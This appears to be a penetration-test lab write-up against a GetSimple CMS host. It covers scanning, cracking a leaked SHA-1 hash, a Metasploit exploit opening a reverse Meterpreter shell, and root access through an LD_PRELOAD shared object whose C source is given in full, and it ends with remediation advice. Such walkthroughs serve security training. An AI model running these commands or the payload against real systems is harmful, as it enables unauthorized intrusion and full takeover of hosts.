

## README.md

# Pentest 9 - LUCKY V2 - 2 - 10.14.1.2

## Scanning

First I ran nmap and nikto against the environment.

```
# Nmap 7.94 scan initiated Sat Aug 5 16:43:39 2023 as: nmap -vv --reason -Pn -T4 -s
Nmap scan report for 10.14.1.2
Host is up, received user-set (0.15s latency).
Scanned at 2023-08-05 16:43:40 EDT for 38s
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE REASON          VERSION
21/tcp    open  ftp      syn-ack ttl 63 vsftpd 3.0.3
22/tcp    open  ssh      syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; p
| ssh-hostkey:
|   3072 5b:bf:40:74:0f:50:88:7d:34:36:44:b8:47:39:d3:1b (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQGDAlYqa1gYJXvc7kjlK6ZF9AWUOTQMI3sKD2uiPb5iEON
|   256 bf:55:8c:9f:db:e7:e5:7c:62:59:d7:84:db:38:82:28 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBB1HYFFiua
|   256 19:01:b4:fe:2f:1a:7b:b1:e2:4b:27:fa:3b:1e:cd:7e (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINnyq70BjpuDq2GHmeHFu5FVwf2KggqcQJbWeiekIIz49
80/tcp    open  http     syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Welcome to GetSimple! - Lucky
| http-robots.txt: 1 disallowed entry
|_/admin/
|_http-server-header: Apache/2.4.41 (Ubuntu)
Aggressive OS guesses: Linux 2.6.32 (96%), Linux 2.6.32 or 3.10 (96%), Linux 4.4 (96
No exact OS matches for host (If you know what OS is running on it, see https://nmap
TCP/IP fingerprint:
OS:SCAN(V=7.94%E=4%D=8/5%OT=21%CT=1%CU=43658%PV=Y%DS=2%DC=I%G=Y%TM=64CEB4A2
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=10C%TI=Z%TS=A)SEQ(SP=101%GCD
OS:=1%ISR=10D%TI=Z%TS=A)SEQ(SP=102%GCD=1%ISR=10C%TI=Z%TS=A)OPS(O1=M5B4ST11N
OS:W7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5=M5B4ST11NW7%O6=M5B4S
OS:T11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=4
OS:0%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=0%A=S+%F=AS%RD=0%Q=)T2(
OS:R=N)T3(R=N)T4(R=N)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=N)T
OS:7(R=N)U1(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%R
OS:UD=G)IE(R=Y%DFI=N%T=40%CD=S)
```

Uptime guess: 25.993 days (since Mon Jul 10 16:54:08 2023)  
Network Distance: 2 hops  
TCP Sequence Prediction: Difficulty=257 (Good luck!)  
IP ID Sequence Generation: All zeros  
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux\_kernel

#### TRACEROUTE

HOP	RTT	ADDRESS
1	146.39 ms	10.14.1.2

Read data files from: /usr/bin/./share/nmap

OS and Service detection performed. Please report any incorrect results at <https://nmap.org>  
# Nmap done at Sat Aug 5 16:44:18 2023 -- 1 IP address (1 host up) scanned in 38.35



└─\$ cat tcp\_80\_http\_nikto.txt

- Nikto v2.5.0

-----  
+ Target IP: 10.14.1.2  
+ Target Hostname: 10.14.1.2  
+ Target Port: 80  
+ Start Time: 2023-08-05 16:44:19 (GMT-4)  
-----

+ Server: Apache/2.4.41 (Ubuntu)  
+ /: The anti-clickjacking X-Frame-Options header is not present. See: [https://developer.mozilla.org/en-US/docs/Gecko\\_compat](https://developer.mozilla.org/en-US/docs/Gecko_compat)  
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to sniff the response.  
+ No CGI Directories found (use '-C all' to force check all possible dirs)  
+ /robots.txt: Entry '/admin/' is returned a non-forbidden or redirect HTTP code (200)  
+ /robots.txt: contains 1 entry which should be manually viewed. See: [https://developer.mozilla.org/en-US/docs/Gecko\\_compat](https://developer.mozilla.org/en-US/docs/Gecko_compat)  
+ Apache/2.4.41 appears to be outdated (current is at least Apache/2.4.54). Apache 2.4.41 is vulnerable to CVE-2021-40222.  
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.  
+ /sitemap.xml: This gives a nice listing of the site content.  
+ /admin/: This might be interesting.  
+ /data/: Directory indexing found.  
+ /data/: This might be interesting.  
+ /readme.txt: This might be interesting.  
+ /admin/index.php: This might be interesting: has been seen in web logs from an unknown source.  
+ /LICENSE.txt: License file found may identify site software.

Nikto revealed a bunch of interesting information - /admin/ was exposed, there was a /theme directory, /data/ directory that contained a user + username and hash, an API key. For example, <http://10.14.1.2/data/users/lucky.xml> led me to the following:



I had two separate thoughts to investigate here:

1. Could I do anything with the API key that I found, and GetSimple
2. Could I do anything with the user + hash that I found?

## Identifying the Hash

First I attempted to determine the type of hash, using `hash-identifier`. This helped me to determine it was a SHA-1 hash.

```

hash-identifier
...cut banner...
HASH: cbfdac6008f9cab4083784cbd1874f76618d2a97

```

Possible Hashs:

[+] SHA-1

[+] MySQL5 - SHA-1(SHA-1(\$pass))

## Cracking the Hash

Knowing the hash to be SHA-1, I passed this through `john` using the `rockyou.txt` wordlist. John cracked this in no time yielding the password for the user `lucky` :

```
(kali㉿kali)-[~/.../9/results/10.14.1.2/loot]
└─$ john --format:RAW-SHA1 -wordlist:/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA1 [SHA1 128/128 AVX 4x])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
password123      (?)
1g 0:00:00:00 DONE (2023-08-05 18:43) 100.0g/s 138400p/s 138400c/s 138400C/s liberty
Use the "--show --format=Raw-SHA1" options to display all of the cracked passwords r
Session completed.
```

```
(kali㉿kali)-[~/.../9/results/10.14.1.2/loot]
└─$ cat ~/.john/john.pot
$dynamic_26$cbfdac6008f9cab4083784cbd1874f76618d2a97:password123
```

This was only part of the story however - ssh blocked my publickey in attempting to ssh `lucky@lucky` . I still needed a way to get *on* the box.

## Exploitation

Researching `GetSimple` yielded some good results - this article in particular had a good example case, and description of the vulnerability.

Because we also had the api key, I was unfamiliar with `GetSimple` in particular, but guessed that metasploit had something more than likely with the CVE.

```
msf6 > search 2019-11231
```

Matching Modules

=====

#	Name	Disclosure Date	Rank
-	----	-----	----
0	exploit/multi/http/getsimplecms_unauth_code_exec	2019-04-28	excellent

Interact with a module by name or index. For example info 0, use 0 or use exploit/mu

```
msf6 > use 0
```

```
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
```

```
msf6 exploit(multi/http/getsimplecms_unauth_code_exec) > show options
```

Module options (exploit/multi/http/getsimplecms\_unauth\_code\_exec):

Name	Current Setting	Required	Description
----	-----	-----	-----
Proxies		no	A proxy chain of format type:host:port[,typ
RHOSTS		yes	The target host(s), see <a href="https://github.com/">https://github.com/</a>
RPORT	80	yes	The target port (TCP)
SSL	false	no	Negotiate SSL/TLS for outgoing connections
TARGETURI	/	yes	The base path to the cms
VHOST		no	HTTP server virtual host

Payload options (php/meterpreter/reverse\_tcp):

Name	Current Setting	Required	Description
----	-----	-----	-----
LHOST	172.16.4.1	yes	The listen address (an interface may be specifi
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
--	----
0	GetSimpleCMS 3.3.15 and before

```
msf6 exploit(multi/http/getsimplecms_unauth_code_exec) > set RHOSTS 10.14.1.2
```

```
RHOSTS => 10.14.1.2
```

```
msf6 exploit(multi/http/getsimplecms_unauth_code_exec) > exploit
```

```
[*] Started reverse TCP handler on 172.16.4.1:4444
```

```
[*] Sending stage (39282 bytes) to 10.14.1.2
```

```
[*] Sending stage (39282 bytes) to 10.14.1.113
```

```
[*] Meterpreter session 1 opened (172.16.4.1:4444 -> 10.14.1.2:48280 ) at 2023-08-05
```

```
meterpreter > whoami
```

```
[-] Unknown command: whoami
```

```
meterpreter > getuid
```

```
Server username: www-data
```

```
meterpreter >
```

```
[~] Meterpreter session 2 is not valid and will be closed  
[*] 10.14.1.2 - Meterpreter session 2 closed.
```

```
meterpreter > shell  
Process 1858 created.  
Channel 0 created.
```

```
whoami  
www-data
```

## Escalation Permissions

From here I had a pretty basic shell as `www-data` which didn't give me much, but we already uncovered the password for `lucky`. I was unable to ssh to the localhost as `lucky`, but I was able to `su - lucky`.

```
su - lucky  
Password: password123
```

```
python -c 'import pty; pty.spawn("/bin/sh")'
```

```
lucky@lucky:~$ sudo -l  
sudo -l
```

Matching Defaults entries for lucky on lucky:

```
env_reset, env_keep+=LD_PRELOAD, mail_badpass,  
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/
```

User lucky may run the following commands on lucky:

```
(root) NOPASSWD: /usr/sbin/apache2
```



From here I can see `env_reset` and `env_keep+=LD_PRELOAD` set, along with `root NOPASSWD` for `apache2`.

```
$ ldd /usr/sbin/apache2  
ldd /usr/sbin/apache2  
linux-vdso.so.1 (0x00007ffded3ca000)  
libpcre.so.3 => /lib/x86_64-linux-gnu/libpcre.so.3 (0x00007f693ca30000)  
libaprutil-1.so.0 => /lib/x86_64-linux-gnu/libaprutil-1.so.0 (0x00007f693ca90000)  
libapr-1.so.0 => /lib/x86_64-linux-gnu/libapr-1.so.0 (0x00007f693c9c0000)  
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f693c9a0000)  
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f693c7b4000)  
libcrypt.so.1 => /lib/x86_64-linux-gnu/libcrypt.so.1 (0x00007f693c779000)  
libexpat.so.1 => /lib/x86_64-linux-gnu/libexpat.so.1 (0x00007f693c749000)
```

```
libuuid.so.1 => /lib/x86_64-linux-gnu/libuuid.so.1 (0x00007f693c740000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f693c73a000)
/lib64/ld-linux-x86-64.so.2 (0x00007f693cb5d000)
```

#

Recalling the privilege escalation techniques, I compiled the following on my kali box:

```
//compile with: gcc -fPIC -shared -o shell.so shell.c -nostartfiles
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init()
{
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/sh");
}
```

Next, I served this up:

```
python3 -m http.server 80
```

Back on my shell as lucky : wget 172.16.4.1/tmp/shell.so -o shell.so Finally, I attempt to escalate to root:

```
lucky@lucky:/home/lucky$ sudo LD_PRELOAD=/home/lucky/shell.so.1 apache2
sudo LD_PRELOAD=/home/lucky/shell.so.1 apache2
# whoami
whoami
root

# cat /root/key.txt
cat /root/key.txt
1a74nksdj3467fwn37qm
#
```

## Remediation

There were several compounding factors here that enabled compromise.

1. A vulnerable version of GetSimple 3.3.15 which allows for Remote Code Execution.

2. Exposed (hashed) credentials with an easily cracked password allowing movement to a more privileged user.
3. LD\_PRELOAD permissions.

In terms of priority and risk, these are listed in order. While hashed, crackable credentials are not ideal, ssh was restricted to prevent my access with that user. LD\_PRELOAD permissions are only accessible once on the system.

To mitigate the vulnerabilities then, the recommendation would first be to `GetSimple` - the latest stable, non-affected version is 3.3.16.

Next, it would be encouraged to change the password for the user `lucky` to something more appropriate - 16 character passphrases even with lowercase letters -

<https://www.komando.com/security-privacy/check-your-password-strength/783192/>.

Further, it would be recommended to secure the web content being served, and not expose / serve content out of the `/data/` folder to prevent spillage.

Finally, and least risky, is the permissions for the `lucky` user to use `LD_PRELOAD`. This is a performance and system optimization function, which can be exploited, but requires a user with sufficient permissions and access already.